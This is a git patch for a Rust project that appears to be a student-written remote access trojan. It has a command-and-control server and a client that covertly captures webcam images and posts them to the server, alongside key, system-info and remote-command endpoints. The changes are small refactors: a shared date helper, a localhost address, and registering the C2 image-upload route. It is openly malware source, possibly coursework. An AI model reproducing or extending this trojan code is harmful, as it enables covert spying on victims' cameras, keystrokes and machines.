From 0f314b807b3e4e38574d85c66fd4a685f0fd68cd Mon Sep 17 00:00:00 2001
From: "elio.marconi" <elio.marconi@etu.hesge.ch>
Date: Thu, 26 Oct 2023 16:13:43 +0200
Subject: [PATCH] Test rat

---
 .env                    | 2 +-
 c2/src/backup.rs        | 4 ++--
 c2/src/main.rs          | 2 +-
 rat/src/camera.rs       | 2 --
 sharedlib/src/config.rs | 7 +++++++
 sharedlib/src/models.rs | 8 +-------
 6 files changed, 12 insertions(+), 13 deletions(-)

diff --git a/.env b/.env
index 4920dad..a2cdb1e 100644
--- a/.env
+++ b/.env
@@ -1,7 +1,7 @@
 IS_LOADED = 1 # DO NOT REMOVE THIS LINE
 
 #NEEDED FOR BOTH CLIENT AND SERVER
-ROCKET_ADDRESS = "192.168.122.1"
+ROCKET_ADDRESS = "127.0.0.1"
 ROCKET_PORT = "8888"
 KEY_API = "/keys"
 IMAGE_API= "/images"
diff --git a/c2/src/backup.rs b/c2/src/backup.rs
index bd93def..68c8772 100644
--- a/c2/src/backup.rs
+++ b/c2/src/backup.rs
@@ -1,5 +1,5 @@
 
-use sharedlib::config::Config;
+use sharedlib::config::{Config, get_date};
 use std::{
     fs,
     fs::OpenOptions,
@@ -68,7 +68,7 @@ impl DataFile  {
     }
 
     pub fn save_image(&self, data:Vec<u8>) -> Result<String, io::Error> {
-        let filename = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss.jpeg").to_string();
+        let filename = get_date() + ".jpeg";
         let path = get_full_path_image(self) + &filename;
         let mut file = std::fs::File::create(path.clone())?;
         file.write_all(&data[..])?;
diff --git a/c2/src/main.rs b/c2/src/main.rs
index 2955a9f..d5b8bc1 100644
--- a/c2/src/main.rs
+++ b/c2/src/main.rs
@@ -41,7 +41,7 @@ fn rocket() -> _ {
     build.mount("/", 
         routes![home, post_key, get_json_keys, get_html_clients, 
         post_systeminfo, post_new_command, get_json_commands, 
-        post_command, get_new_commands, get_delete_command
+        post_command, get_new_commands, get_delete_command, post_image
     ])
     .mount("/static", FileServer::from("c2/templates/static"))
     .mount("/client/data", FileServer::from("./data"))
diff --git a/rat/src/camera.rs b/rat/src/camera.rs
index 8e71f34..4492428 100644
--- a/rat/src/camera.rs
+++ b/rat/src/camera.rs
@@ -33,7 +33,6 @@ pub async fn sniff_image() -> Result<(), ClientError> {
 
     let mac_address = get_mac_address()
         .map_err(|_e| io::Error::from_raw_os_error(1))?;
-    let _ = dev.params()?;
     //println!("Active device parameters:\n{}", params);
 
 
@@ -66,7 +65,6 @@ pub async fn sniff_image() -> Result<(), ClientError> {
             time: local_time, mac_address: mac_address.clone()};
 
         client::send_images(final_image).await?;
-        //file.write_all(&buf[..])?;
 
         sleep(sleep_time);
     };
diff --git a/sharedlib/src/config.rs b/sharedlib/src/config.rs
index ad699e9..38294ec 100644
--- a/sharedlib/src/config.rs
+++ b/sharedlib/src/config.rs
@@ -1,5 +1,6 @@
 use dotenvy::dotenv;
 use crate::errors::ConstantsError;
+use chrono::Utc;
 
 
 #[derive(Clone)]
@@ -64,4 +65,10 @@ pub fn load_dotenv()->Result<(), ConstantsError> {
     }
 }
 
+pub fn get_date() -> String {
+    let date = Utc::now();
+    let date_str = format!("{}", date.format("%d-%m-%Y %H:%M:%S"));
+    date_str
+}
+
 
diff --git a/sharedlib/src/models.rs b/sharedlib/src/models.rs
index 00cb163..8caf82b 100644
--- a/sharedlib/src/models.rs
+++ b/sharedlib/src/models.rs
@@ -1,9 +1,9 @@
 use diesel::prelude::*;
 use crate::schema::{keys ,clients, sysinfo, ports, commands, command_result, images};
 use serde::{Deserialize, Serialize};
-use chrono::Utc;
 use diesel::sql_types::{VarChar, Integer, Text, Nullable};
 use std::collections::HashMap;
+use crate::config::get_date;
 
 #[derive(Deserialize, Serialize)]
 pub struct ApiId{
@@ -64,12 +64,6 @@ pub struct ImageFormat {
      pub height: u32,
 }
 
-fn get_date() -> String{
-    let date = Utc::now();
-    let date_str = format!("{}", date.format("%d-%m-%Y %H:%M:%S"));
-    date_str
-}
-
 
 #[derive(Deserialize, Serialize,  Queryable, QueryableByName, Selectable, Debug)]
 #[diesel(table_name = clients)]
-- 
GitLab